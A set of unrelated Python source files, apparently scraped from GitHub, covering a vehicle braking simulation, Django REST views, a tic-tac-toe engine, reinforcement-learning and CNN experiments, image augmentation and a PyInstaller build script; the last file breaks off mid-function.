{"seq_id":"37827275727","text":"from src.tools.parameters import default_max_deceleration, default_max_acceleration, default_time_of_reaction as dt\nfrom src.tools.methods import solve_degree_two\n\ndefault_max_deceleration = 2\n\n\ndef get_acceleration_non_moving_obstacle(a_min, current_speed, current_pos, current_pos_obstacle):\n\n    # first condition:\n    z = 2 * (current_pos_obstacle - current_pos) / (dt ** 2) - 2 * current_speed / dt\n\n    print(\"z = \" + str(z))\n\n    a1 = -(dt ** 2) / a_min\n    a2 = (-dt * current_speed / a_min + (dt ** 2) / 2)\n    a3 = - (current_speed ** 2) / (2 * a_min) + current_speed * dt + current_pos - current_pos_obstacle\n\n    print(\"a1 = \" + str(a1))\n    print(\"a2 = \" + str(a2))\n    print(\"a3 = \" + str(a3))\n\n    try:\n        x, y = solve_degree_two(a1, a2, a3)\n        print(\"x = \" + str(x))\n        print(\"y = \" + str(y))\n    except:\n        print(\"except\")\n        return a_min\n\n    # second condition: acceleration must be lower than y\n\n    a = min(y, z, default_max_acceleration)\n    print(\"a = \" + str(a))\n\n    # third condition:\n    w = current_speed / dt\n    print(\"w = \" + str(w))\n\n    return a\n\n\na_min = - default_max_deceleration\ncurrent_speed = 10\ncurrent_pos = 0\ncurrent_pos_obstacle = 100\n\ni = 0\n\nwhile True:\n    i += 1\n    print(i)\n\n    a = get_acceleration_non_moving_obstacle(a_min, current_speed, current_pos, current_pos_obstacle)\n\n    current_pos = current_pos + current_speed * dt + 0.5 * a * dt ** 2\n    current_speed = max(current_speed + a * dt, 0)\n\n    if i > 10:\n        current_pos_obstacle = 300\n\n    print(\"current_speed: \" + str(current_speed))\n    print(\"current_pos: \" + str(current_pos))\n\n\n","repo_name":"gabmis/cf","sub_path":"src/validation/non_moving_obstacle_behavior.py","file_name":"non_moving_obstacle_behavior.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2684577729","text":"from rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom rest_framework import status\nfrom .models import Product\nfrom .serializers import *\n\n@api_view(['GET'])\ndef productsView(request):\n    data    = Product.objects.filter(owner=request.user)\n    print(data)\n    \n    ser     = ProductSerializer(data, many=True) \n    return Response(ser.data, status=status.HTTP_200_OK)\n\n@api_view(['GET', 'PUT', 'DELETE'])\ndef productView(request, product_id):\n    data    = Product.objects.get(pk=product_id)\n    return True\n@api_view(['GET', 'POST'])\ndef students_list(request):\n    if request.method == 'GET':\n        data = Student.objects.all()\n\n        serializer = StudentSerializer(data, context={'request': request}, many=True)\n\n        return Response(serializer.data)\n\n    elif request.method == 'POST':\n        serializer = StudentSerializer(data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(status=status.HTTP_201_CREATED)\n\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n@api_view(['PUT', 'DELETE'])\ndef students_detail(request, pk):\n    try:\n        student = Student.objects.get(pk=pk)\n    except Student.DoesNotExist:\n        return Response(status=status.HTTP_404_NOT_FOUND)\n\n    if request.method == 'PUT':\n        serializer = StudentSerializer(student, data=request.data,context={'request': request})\n        if serializer.is_valid():\n            serializer.save()\n            return Response(status=status.HTTP_204_NO_CONTENT)\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n    elif request.method == 'DELETE':\n        student.delete()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n@api_view(['GET', 'POST'])\ndef servicesList(request, title=None, description=None):\n    if request.method == 'GET':  \n        data = Services.objects.all()\n        serializer = ServicesSerializer(data, context={'request': request}, many=True)\n        return Response(serializer.data)\n    if request.method == 'POST':\n        data = Services()   \n        data.title = title\n        data.description = description\n        data.save()\n\n        return Response(status=status.HTTP_201_CREATED)  \n@api_view(['GET', 'DELETE'])    \ndef service(request, service_title):\n    service_title.lower()\n    print(service_title)\n    try:\n        data = Services.objects.get(title=service_title)\n        print(data)\n    except:\n        return Response(status=status.HTTP_204_NO_CONTENT)\n    if request.method == 'GET':\n        serailizer = ServicesSerializer(data, context={'request': request}, many=True)\n        return Response(serailizer.data)\n    \n    else :\n        if request.method == 'DELETE':\n            try:\n                data.delete()\n            except:\n                pass    \n            return Response(status=status.HTTP_200_OK)\n    ","repo_name":"optimarsalme/tns","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5639069199","text":"from random import randint\nfrom Other import Other\n\n\nclass Engine(object):\n\n    def __init__(self, players: list, map_table: map):\n        \"\"\"\n\n        :param players:\n        :param map_table:\n        \"\"\"\n        self.players = players\n        self.map = map_table\n        self.other = Other()\n\n    def play(self):\n        \"\"\"\n\n        :return:\n        \"\"\"\n        # start player\n        start_player = randint(0, 1)\n        print(f\"Player: {self.players[start_player].name} starts with symbol {self.players[start_player].symbol}.\")\n        # Show instructions\n        self.map.plot_coordinates()\n        # Show map\n        self.map.plot_map()\n        # Start playing!\n        win = False\n        tie = False\n        turn = start_player\n        turn_counter = 0\n        while win is False and tie is False:\n            # Get the map position\n            map_position = self.players[turn].play()\n            # Populate the map\n            populated = self.map.populate_table(map_position, self.players[turn].symbol_num)\n            # If operation was correct, update turn\n            if populated:\n                # The other player's turn\n                turn = 1 - turn\n                # Increment the turn counter\n                turn_counter += 1\n            # Show the map\n            self.map.plot_map()\n            # Verify for win condition\n            win = self.win_condition(self.map.map_table)\n            if turn_counter == 9:\n                tie = True  # Tie condition\n        print(\"The game has ended! Thanks for playing! :)\")\n        if tie and not win:\n            print(\"Tie! No winners!\")\n        exit(0)\n\n    def win_condition(self, matrix) -> list:  # Assuming players have 1 and -1 values\n        # horizontal win condition\n        win_h, who_symbol_num_h = self.horizontal_win_condition(matrix)\n        # vertical win condition\n        win_v, who_symbol_num_v = self.vertical_win_condition(matrix)\n        # diagonal win condition\n        win_d = self.diagonal_win_condition(matrix)\n        return win_h or win_v or win_d\n\n    def horizontal_win_condition(self, matrix):\n        win = False\n        who_symbol_num = None\n        # horizontal win condition\n        row_count = 0\n        while (win is False) and (row_count <= len(matrix) - 1):\n            total = sum(matrix[row_count])\n            if abs(total) == 3:  # is there any winner?\n                win = True\n                who_symbol_num = self.other.sign_to_list_single_integer([total])\n                self.who_has_won(who_symbol_num)\n                return win, who_symbol_num\n            else:\n                row_count += 1\n        return win, who_symbol_num\n\n    def vertical_win_condition(self, matrix):\n        # Transpose matrix\n        transposed_matrix = list(map(list, zip(*matrix)))\n        # Horizontal win condition\n        win, who_symbol_num = self.horizontal_win_condition(transposed_matrix)\n        return win, who_symbol_num\n\n    def diagonal_win_condition(self, matrix):\n        main_diag, second_diag = self.other.extract_diagonals(matrix)\n        win_d1, who_symbol_num_d1 = self.horizontal_win_condition([main_diag])\n        win_d2, who_symbol_num_d2 = self.horizontal_win_condition([second_diag])\n        return win_d1 or win_d2\n\n    def who_has_won(self, who_symbol_num):\n        # Show that someone has won!\n        players_to_sign = [player.symbol_num for player in self.players]\n        print(\"{} has won!\".format(self.players[players_to_sign.index(who_symbol_num)].name))\n\n\nif __name__ == \"__main__\":\n    from Map import Map\n    from Player import Player\n\n    # Create Map\n    map_tab = Map()\n    # Create players\n    p1 = Player(\"selfstiano\", \"o\")\n    p2 = Player(\"Ignazio\", \"x\")\n    # generate a list of players\n    players = [p1, p2]\n    # Generate the engine\n    engine = Engine(players, map_tab)\n\n    print(\"Player names: {} and {}\".format(*[player.name for player in players]))\n    print(\"Player symbol: {} and {}\".format(*[player.symbol for player in players]))\n    print(\"Player symbol_to_num: {} and {}\".format(*[player.symbol_num for player in players]))\n\n    # Horizontal test - 1\n    print(\"Horizontal tests\")\n    matrix = [[1, 1, 1], [0, 0, 0], [0, 0, 0]]\n    engine.win_condition(matrix)\n    matrix = [[0, 0, 0], [1, 1, 1], [0, 0, 0]]\n    engine.win_condition(matrix)\n    matrix = [[0, 0, 0], [0, 0, 0], [1, 1, 1]]\n    engine.win_condition(matrix)\n\n    # Horizontal test - 2\n    matrix = [[-1, -1, -1], [0, 0, 0], [0, 0, 0]]\n    engine.win_condition(matrix)\n    matrix = [[0, 0, 0], [-1, -1, -1], [0, 0, 0]]\n    engine.win_condition(matrix)\n    matrix = [[0, 0, 0], [0, 0, 0], [-1, -1, -1]]\n    engine.win_condition(matrix)\n\n    # Vertical test - 1\n    print(\"Vertical test\")\n    matrix = [[1, 0, 0], [1, 0, 0], [1, 0, 0]]\n    engine.win_condition(matrix)\n    matrix = [[0, 1, 0], [0, 1, 0], [0, 1, 0]]\n    engine.win_condition(matrix)\n    matrix = [[0, 0, 1], [0, 0, 1], [0, 0, 1]]\n    engine.win_condition(matrix)\n\n    # Vertical test - 2\n    matrix = [[-1, 0, 0], [-1, 0, 0], [-1, 0, 0]]\n    engine.win_condition(matrix)\n    matrix = [[0, -1, 0], [0, -1, 0], [0, -1, 0]]\n    engine.win_condition(matrix)\n    matrix = [[0, 0, -1], [0, 0, -1], [0, 0, -1]]\n    engine.win_condition(matrix)\n\n    # Diagonal test - 1\n    print(\"Diagonal test\")\n    matrix = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]\n    engine.win_condition(matrix)\n    matrix = [[0, 0, 1], [0, 1, 0], [1, 0, 0]]\n    engine.win_condition(matrix)\n\n    # Diagonal test - 2\n    matrix = [[-1, 0, 0], [0, -1, 0], [0, 0, -1]]\n    engine.win_condition(matrix)\n    matrix = [[0, 0, -1], [0, -1, 0], [-1, 0, 0]]\n    engine.win_condition(matrix)\n\n    # Random tests\n    print(\"Random Test: Not winning\")\n    matrix = [[0, 0, 0], [0, 0, 0], [1, -1, -1]]\n    engine.win_condition(matrix)\n    matrix = [[1, 0, -1], [0, 0, -1], [-1, 1, 1]]\n    engine.win_condition(matrix)\n\n    print(\"Single list of lists\")\n    matrix = [[1, 1, 1]]\n    engine.win_condition(matrix)\n","repo_name":"seba2211/tictactoe","sub_path":"Engine.py","file_name":"Engine.py","file_ext":"py","file_size_in_byte":5940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33336476780","text":"from ctypes import sizeof\n\n\ns1 = input()\ns2 = input()\n\ns3 = \"\"\n\nn , m = len(s1),len(s2)\ncount = 0\nwhile count < n:\n    s3 += s1[count] + s2[m-1]\n    m -= 1\n    count +=1\n\nprint(s3)\n\n","repo_name":"MdRoniAhamed/Phitron-School","sub_path":"Second semester/OOP/2 week/Module 3.5/question_no_5.py","file_name":"question_no_5.py","file_ext":"py","file_size_in_byte":182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14169694127","text":"#sum of more than one digit numbers\nn=input(\"please Enter the value of number:\")\nsum=0\ni=0\nprint(f\"lenght of numbers is:{len(n)}\")\nwhile i <len(n):\n    print(f\"index {i} value is: {n[i]}\")\n    sum=sum+int(n[i])\n    i+=1\nprint(f\"sum of {n} digits is:{sum}\")\n\n","repo_name":"satyendra1/python_pycham","sub_path":"13-sumOfmorethanOneDigitNumbersWithWileLoop.py","file_name":"13-sumOfmorethanOneDigitNumbersWithWileLoop.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34260429908","text":"from algorithms import Qlearning, SARSA\nimport matplotlib.pyplot as plt\nimport gridworlds\nimport numpy as np\nimport gym\n\nenv = gym.make('PuddleWorld-v0')\n\n\ndef get_derivables(learner, num_episodes, num_expts, show_policy = False, show_plots = True):\n\t''' num_episodes is number of episodes ''' \n\t''' num_expts is number of experiments to average the performance over '''\n\t''' if show_policy is True, an image will be displayed showing optimal policy found by the agent after all episodes '''\n\tx_axis = np.arange(num_episodes)\n\tavg_steps = np.zeros(num_episodes)\n\tavg_reward = np.zeros(num_episodes)\n\tfor i in range(num_expts):\n\t\tprint (\"Experiment number %d\" % i)\n\t\tsteps, rwd = learner.run(num_episodes)\n\t\tavg_steps += steps\n\t\tavg_reward += rwd\n\t\tif show_policy or i == num_expts - 1: \n\t\t\tlearner.show_policy()\n\n\tavg_steps /= float(num_expts)\n\tavg_reward /= float(num_expts)\n\n\tif (show_plots):\n\t\tplt.figure(1)\n\t\tplt.semilogy(x_axis, avg_steps)\n\t\tplt.ylabel(\"Average steps to reach the goal (log scale)\")\n\t\tplt.xlabel(\"episodes\")\n\n\t\tplt.figure(2)\n\t\tplt.plot(x_axis, avg_reward)\n\t\tplt.ylabel(\"Average reward per episode\")\n\t\tplt.xlabel(\"episodes\")\n\n\t\tplt.show()\n\n\treturn avg_steps, avg_reward\n\n\nget_derivables(Qlearning(env, verbose = False), 2000, 10, False)\n#get_derivables(SARSA(env, Lambda = 0.7, verbose = False), 100, 1, False)\n\n\"\"\"\navg_steps = []\navg_reward = []\nlambdas = [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7]\nfor l in lambdas:\n\tprint (\"    Lambda = {}\".format(l))\n\tsteps, reward = get_derivables(SARSA(env, Lambda = l, verbose = False), 25, 10, show_plots = False)\n\tavg_steps.append(steps[24])\n\tavg_reward.append(reward[24])\n\nplt.figure(3)\nplt.plot(lambdas, avg_steps)\nplt.title(r\"Average steps after 25 episodes for different $\\lambda$\")\nplt.ylabel(\"Average steps to reach the goal (averaged over 10 experiments)\")\nplt.xlabel(r\"$\\lambda$\")\n\nplt.figure(2)\nplt.plot(lambdas, avg_reward)\nplt.title(r\"Average reward after 25 episodes for different $\\lambda$\")\nplt.ylabel(\"Average reward per episode(averaged over 10 experiments)\")\nplt.xlabel(r\"$\\lambda$\")\n\nplt.show()\n\"\"\"\n","repo_name":"Kaushik-Raghavan/CS6700-PA2","sub_path":"Code/Q1/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11332074911","text":"from sklearn.linear_model import LogisticRegression as LR\nfrom sklearn.tree import DecisionTreeClassifier as DR\nimport xclib.evaluation.xc_metrics as xc_metrics\nfrom xc.libs.utils import pbar\nimport scipy.sparse as sp\nimport numpy as np\nimport joblib\n\n\nclass Fusion(object):\n    def __init__(self, reg=\"DecisionTrees\", A=0.55, B=1.5, use_psp=False):\n        self.A = A\n        self.B = B\n        if reg == \"DecisionTrees\":\n            self.regressor = DR(max_depth=7)\n        if reg == \"LogisticRegression\":\n            self.regressor = LR(penalty='l2', verbose=1, n_jobs=8)\n\n        self.inv_psp = None\n        self.use_psp = use_psp\n        self.valid = True\n        self.val = np.asarray([])\n\n    def split(self, trn_dset, valid_frac=0.035):\n        print(\"FUSION:Generating SPLITS\")\n        valid_int = int(np.ceil(len(trn_dset)*valid_frac))\n        val = np.random.choice(len(trn_dset), size=valid_int, replace=False)\n        trn = np.setdiff1d(np.arange(len(trn_dset)), val)\n        self.val = val\n        return trn, val\n\n    @property\n    def val_indices(self):\n        return self.val\n\n    def build_psp(self, trn_y):\n        print(\"FUSION:Building PSP\")\n        self.inv_psp = xc_metrics.compute_inv_propesity(\n            trn_y, A=self.A, B=self.B)\n\n    def prep_descriptor(self, m2, m4):\n        rows, cols = m2.nonzero()\n        module2_data = np.ravel(m2.tolil()[rows, cols].todense())\n        module4_data = np.ravel(m4.tolil()[rows, cols].todense())\n        inv_psp = np.ravel(self.inv_psp[cols])\n        return np.vstack([inv_psp, module2_data, module4_data]).T, rows, cols\n\n    def fit(self, m2, m4, trn_y):\n        self.valid = True\n        print(\"FUSION::SETTING UP PARAMETERS\")\n        X, rows, cols = self.prep_descriptor(m2, m4)\n        y = np.ravel(trn_y.tolil()[rows, cols].todense())\n        print(\"FUSION::TRAINING FUSION LAYER\")\n        self.regressor.fit(X, y)\n\n    def predict(self, m2, m4, batch_size=200, a_min=1e-1):\n        num_docs = m4.shape[0]\n        final_score = sp.lil_matrix(m4.shape)\n        for start in pbar(np.arange(0, num_docs, batch_size),\n                          desc=\"fusion\", write_final=True):\n            end = min(num_docs, start+batch_size)\n            chotu_m4 = m4[start:end]\n            chotu_m2 = m2[start:end]\n            X, rows, cols = self.prep_descriptor(chotu_m2, chotu_m4)\n            y = self.regressor.predict_proba(X)[:, 1]\n            y = np.clip(y, a_min, 1-a_min)\n            final_score[rows+start, cols] = y\n            del chotu_m2, chotu_m4\n        return final_score.tocsr()\n\n    def save(self, model_path):\n        joblib.dump({\"regressor\": self.regressor,\n                     \"inv_psp\": self.inv_psp,\n                     \"valid\": self.valid,\n                     \"val\": self.val}, model_path)\n\n    def load(self, model_path):\n        data = joblib.load(model_path)\n        self.regressor = data[\"regressor\"]\n        self.inv_psp = data[\"inv_psp\"]\n        self.valid = data[\"valid\"]\n        self.val = data[\"val\"]\n","repo_name":"anshumitts/CafeXC","sub_path":"xc/models/models_fusion.py","file_name":"models_fusion.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"21181415763","text":"import inspect, hashlib\n\ndef createHashCode(self):\n\n    # get the source code of the operation\n    source = inspect.getsource(self.operation)\n\n    def remove_all_whitespace(str):\n        ws_chars = [' ', '\\t', '\\n']\n        for char in ws_chars:\n            str = str.replace(char, '')\n        return str\n\n    def append_args(target, args):\n        for a in args.values():\n            target += str(a)\n        return target\n\n    # scrap the whitespace to prevent unnecessary \n    # re-queries\n    source_no_ws = remove_all_whitespace(source)\n\n    # concatenate it with the arguments\n    target = append_args(source_no_ws, self.arguments)\n    \n    # convert string to a hash\n    hash = hashlib.md5(target.encode()).hexdigest()\n    self.hashcode = hash\n    self.output_file = hash\n    return hash","repo_name":"cjllorente827/blk","sub_path":"Tasks/CreateHashCode.py","file_name":"CreateHashCode.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41077885212","text":"print(\" Cейчас вам будет предоставлена возможность введения слов\")\nprint(\" Когда заходите остановиться, просто введите q\")\n\nslovar = {}\n\nwhile True:\n    key = input(\"Ведите слово на английском\\n: \").strip().lower()\n    if key == 'q':\n        break\n    value = input(\"Ведите слово на русском\\n: \").strip().lower()\n    slovar[key] = value\nprint(slovar)\n\nprint(\"Сейчас у нас будет проверка, больше 3 ошибок нельзя\")\n\nerrors = 0\nbonus = 0\n\nfor key in slovar.keys():\n    print(\"Ввeдите перевод слова\", key, \": \")\n    answer = input(\": \").strip().lower()\n    if slovar[key] == answer:\n        bonus += 1\n        print(\"Ваш счет составляет\", bonus)\n    elif errors > 3:\n        print(\"game over\")\n        break\n    else:\n        errors +=1\n        print(slovar[key], \"- правильный ответ\")","repo_name":"isakura313/24_04","sub_path":"lingual_more.py","file_name":"lingual_more.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72169277542","text":"import os\nimport random\nimport shutil\nimport sys\n\nimport PyInstaller.__main__\n\n\ndef build(name, version, console, onefile, uac_admin, icon, files, folders):\n\twork_path = \"build\"\n\twhile os.path.isdir(work_path):\n\t\twork_path = f\"build_{random.randint(1, 1_000_000_000)}\"\n\twork_path = os.path.join(os.path.abspath(\".\"), work_path)\n\n\tresult_path = os.path.abspath(\".\")\n\n\trun_list = ['main.py',\n\t            '--noconfirm',\n\t            '--clean',\n\t            '--name', f\"{name}-v{version}\",\n\t            '--workpath', work_path,\n\t            '--specpath', work_path,\n\t            '--distpath', result_path]\n\n\tif console:\n\t\trun_list.append(\"--console\")\n\telse:\n\t\trun_list.append(\"--noconsole\")\n\n\tif onefile:\n\t\trun_list.append(\"--onefile\")\n\telse:\n\t\trun_list.append(\"--onedir\")\n\n\tif uac_admin:\n\t\trun_list.append(\"--uac-admin\")\n\n\tif icon != \"\":\n\t\ticon_path = os.path.join(os.path.abspath(\".\"), icon)\n\t\tif not os.path.isfile(icon_path):\n\t\t\traise Exception(\"Invalid icon!\")\n\t\telse:\n\t\t\trun_list.extend(('--icon', icon_path))\n\n\tfor file in files:\n\t\tif os.path.isfile(os.path.join(os.path.abspath(\".\"), file)):\n\t\t\trun_list.extend(('--add-data', f'{os.path.join(os.path.abspath(\".\"), file)};{os.path.dirname(file)}'))\n\t\telse:\n\t\t\traise Exception(\"Invalid file!\")\n\n\tfor folder in folders:\n\t\tif os.path.isdir(folder):\n\t\t\tfor walk in os.walk(folder, followlinks=False):\n\t\t\t\tfor file in walk[2]:\n\t\t\t\t\tif os.path.isfile(os.path.join(walk[0], file)):\n\t\t\t\t\t\trun_list.extend(('--add-data', f'{os.path.join(os.path.abspath(\".\"), os.path.join(walk[0], file))};{os.path.dirname(os.path.join(walk[0], file))}'))\n\t\t\t\t\telse:\n\t\t\t\t\t\traise Exception(\"Invalid folder!\")\n\t\telse:\n\t\t\traise Exception(\"Invalid folder!\")\n\n\tPyInstaller.__main__.run(run_list)\n\tshutil.rmtree(path=work_path, ignore_errors=True)\n\ndef main():\n\tname = \"Full-Tilt!-Pinball\"\n\tversion = \"4.0.2\"\n\n\tconsole = False\n\tonefile = True\n\tuac_admin = False\n\ticon = \"full-tilt-icon.ico\"\n\n\tfiles = []\n\tfolders = [\n\t\t\"boards\\\\Alien\",\n\t\t\"boards\\\\Cadet\",\n\t\t\"boards\\\\Dragon\",\n\t\t\"boards\\\\Hero\",\n\t\t\"boards\\\\Mad\",\n\t\t\"boards\\\\Pirates\",\n\t]\n\n\tif len(sys.argv) > 1 and sys.argv[1] == \"--version\":\n\t\tprint(version)\n\telif len(sys.argv) > 1 and sys.argv[1] == \"--name\":\n\t\tprint(name)\n\telse:\n\t\tbuild(name, version, console, onefile, uac_admin, icon, files, folders)\n\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"DarkLord76865/Full-Tilt-Pinball","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"8049110144","text":"import numpy as np\r\nimport torch\r\nimport random\r\nfrom eval.eval import f1\r\nimport pdb\r\n\r\n\r\ndef load_ricap(images, targets, dilates):\r\n    batch_images = torch.empty(images.size())\r\n    batch_targets = torch.empty(targets.size())\r\n    batch_dilates = torch.empty(dilates.size())\r\n    for i in range(images.size()[0]):\r\n        patched_image, patched_target, patched_dilate = ricap(images, targets, dilates)\r\n        batch_images[i] = patched_image\r\n        batch_targets[i] = patched_target\r\n        batch_dilates[i] = patched_dilate\r\n\r\n    return batch_images, batch_targets, batch_dilates\r\n\r\n\r\ndef ricap(images, targets, dilates):\r\n\r\n    # size of image\r\n    I_x, I_y = images.size()[2:]\r\n\r\n    # generate boundary position (w, h)\r\n    w = int(np.round(I_x * np.random.uniform(0.3, 0.7)))\r\n    h = int(np.round(I_y * np.random.uniform(0.3, 0.7)))\r\n    w_ = [w, I_x-w, w, I_x-w]\r\n    h_ = [h, h, I_y-h, I_y-h]\r\n\r\n    # select four images\r\n    cropped_images = {}\r\n    cropped_target = {}\r\n    cropped_dilate = {}\r\n    c_ = {}\r\n    W_ = {}\r\n\r\n    for k in range(4):\r\n        index = random.choice(torch.randperm(images.size(0)))\r\n        x_k = np.random.randint(0, I_x - w_[k] + 1)\r\n        y_k = np.random.randint(0, I_y - h_[k] + 1)\r\n\r\n        cropped_images[k] = images[index, :, x_k:x_k + w_[k], y_k:y_k + h_[k]]\r\n        cropped_target[k] = targets[index, :, x_k:x_k + w_[k], y_k:y_k + h_[k]]\r\n        cropped_dilate[k] = dilates[index, :, x_k:x_k + w_[k], y_k:y_k + h_[k]]\r\n        c_[k] = targets[index]\r\n        W_[k] = (w_[k] * h_[k]) / (I_x * I_y)\r\n\r\n    # patch cropped images\r\n    patched_images = torch.cat(\r\n        (torch.cat((cropped_images[0], cropped_images[1]), 1),\r\n         torch.cat((cropped_images[2], cropped_images[3]), 1)),\r\n        2)\r\n    patched_target = torch.cat(\r\n        (torch.cat((cropped_target[0], cropped_target[1]), 1),\r\n         torch.cat((cropped_target[2], cropped_target[3]), 1)),\r\n        2)\r\n    print(patched_target.size())\r\n    patched_dilate = torch.cat(\r\n        (torch.cat((cropped_dilate[0], cropped_dilate[1]), 1),\r\n         torch.cat((cropped_dilate[2], cropped_dilate[3]), 1)),\r\n        2)\r\n\r\n    targets = (c_, W_)\r\n    return patched_images, patched_target, patched_dilate\r\n\r\n\r\nif __name__ == '__main__':\r\n    input_image = torch.rand(4, 3, 256, 256)\r\n    input_target = torch.rand(4, 1, 256, 256)\r\n    input_target = (input_target> 0.5)*1\r\n\r\n    image, target, dilate = load_ricap(input_image, input_target, input_target)\r\n    print(target.size())\r\n\r\n    acc, _, _, f1_score = f1(target, target, dilate)\r\n    print(acc, f1_score)\r\n","repo_name":"SWei017/U-Net","sub_path":"data/ricap.py","file_name":"ricap.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24470946938","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom sklearn.utils import shuffle\n\nimport numpy as np\nimport tensorflow as tf\n\n\nimport glob\nimport cv2\nimport os\n\n\nimport tensorflow as tf\n\n#local imports\nfrom data import *\n\nimport utils as utils\nfrom CNN import new_fc_layer\nfrom CNN import flatten_layer\nfrom CNN import new_conv_layer\nfrom CNN import initiate\n\n\n# disables cpu instruction warnings\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n#################################\n####\tglobal variabless \t#####\n#################################\n\ntrue = True\nfalse = False\nnone = None\n\n\ntotal_iterations = None     #explained later\nx = None                    #explained later\ny_true = None               #explained later\nsession = None              #explained later\noptimizer = None            #explained later\naccuracy = None             #explained later\ngraph = None\n\nimage_size = 100 \t\t\t\t\t\t\t\t\t# size of the images\nimage_size_flat = image_size * image_size  \t\t\t# Images are stored in one-dimensional arrays of this length.\nimage_shape = (image_size, image_size)  \t\t\t\t# Tuple with height and width of images used to reshape arrays.\nnum_channels = 1  \t\t\t\t\t\t\t\t# Number of color channels for the images: 1 channel for gray-scale.\nnum_classes = 2  \t\t\t\t\t\t\t\t# Number of classes, one class for each of 10 digits.\nplt_show = true  \t\t\t\t\t\t\t\t# To show the plotted values set to true, to never plot anything set to false\nclass_zero = \"rand\"\nclass_one = \"kw\"\nfile_name_identifier = \"kw\"  \t\t\t\t\t# something distinguishable to tell the two images apart\ndata_directory = \"resized/load/chosen\"\t\t\t# directory to load the train images\n\n#####################\n####\tLayers\t#####\n#####################\n\n# Convolutional Layer 1.\nfilter_size1 = 10  # Convolution filters are filter_size x filter_size pixels. might change this to 0.178 * img_size xxx\nnum_filters1 = 16  # There are 16 of these filters.\n# Convolutional Layer 2.\nfilter_size2 = 10  # Convolution filters are 5 x 5 pixels.\nnum_filters2 = 36  # There are 36 of these filters.\n# Fully-connected layer.\nfc_size = 128  # Number of neurons in fully-connected layer.\n\n\ndef initiate():\n\tdata.test.images, data.test.labels = load_data(data_directory, file_name_identifier, image_size_flat)\n\tdata.test = data.test.init()\n\tdata.test._name = \"test\"\n\tdata.test.cls = np.argmax(data.test.labels, axis=1)\n\n\n\tx = tf.placeholder(tf.float32, shape=[None, image_size_flat], name='x')\n\tx_image = tf.reshape(x, [-1, image_size, image_size, num_channels])\n\n\tx2 = tf.placeholder(tf.float32, shape=[None, image_size_flat], name='x2')\n\tx2_image = tf.reshape(x2, [-1, image_size, image_size, num_channels])\n\n\n\ty_true = tf.placeholder(tf.float32, shape=[None, num_classes], name='y_true')\n\ty_true_cls = tf.argmax(y_true, axis=1)\n\n\tlayer_conv1, weights_conv1 = new_conv_layer(input=x_image, num_input_channels=num_channels,\n\t\t\t\t\t\t\t\t\t\t\t\tfilter_size=filter_size1, num_filters=num_filters1, use_pooling=True)\n\n\tlayer_conv2, weights_conv2 = new_conv_layer(input=layer_conv1, num_input_channels=num_filters1,\n\t\t\t\t\t\t\t\t\t\t\t\tfilter_size=filter_size2, num_filters=num_filters2, use_pooling=True)\n\n\tlayer_flat, num_features = flatten_layer(layer_conv2)\n\n\tlayer_fc1 = new_fc_layer(input=layer_flat, num_inputs=num_features, num_outputs=fc_size, use_relu=True)\n\n\tlayer_fc2 = new_fc_layer(input=layer_fc1, num_inputs=fc_size, num_outputs=num_classes, use_relu=False)\n\n\ty_pred = tf.nn.softmax(layer_fc2)\n\ty_pred_cls = tf.argmax(y_pred, axis=1)\n\tcross_entropy = tf.nn.softmax_cross_entropy_with_logits_v2(logits=layer_fc2,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t   labels=y_true)\n\tcost = tf.reduce_mean(cross_entropy)\n\toptimizer = tf.train.AdamOptimizer(learning_rate=1e-4).minimize(cost)\n\tcorrect_prediction = tf.equal(y_pred_cls, y_true_cls)\n\taccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n\tsaver = tf.train.Saver()\n\n\n\n\treturn data, x, x_image, y_true, y_true_cls, layer_conv1, layer_conv2, weights_conv1, weights_conv2, layer_flat, \\\n\t\t   num_features, layer_fc1, layer_fc1, layer_fc2, y_pred, y_pred_cls, cost, optimizer, correct_prediction, \\\n\t\t   accuracy, saver, x2, x2_image\n\n'''\n\tyou need to create the data object\n\tLoad the data with the load_data function\n\tand then use the init to re-structure the data correctly.\n'''\n\n# initiates some variables\n\n\ndef next_batch(self, batch_size, shuffle=True):\n\t\t\"\"\"Return the next `batch_size` examples from this data set.\"\"\"\n\t\tstart = self._index_in_epoch\n\t\t# Shuffle for the first epoch\n\t\tif self._epochs_completed == 0 and start == 0 and shuffle:\n\t\t\tperm0 = 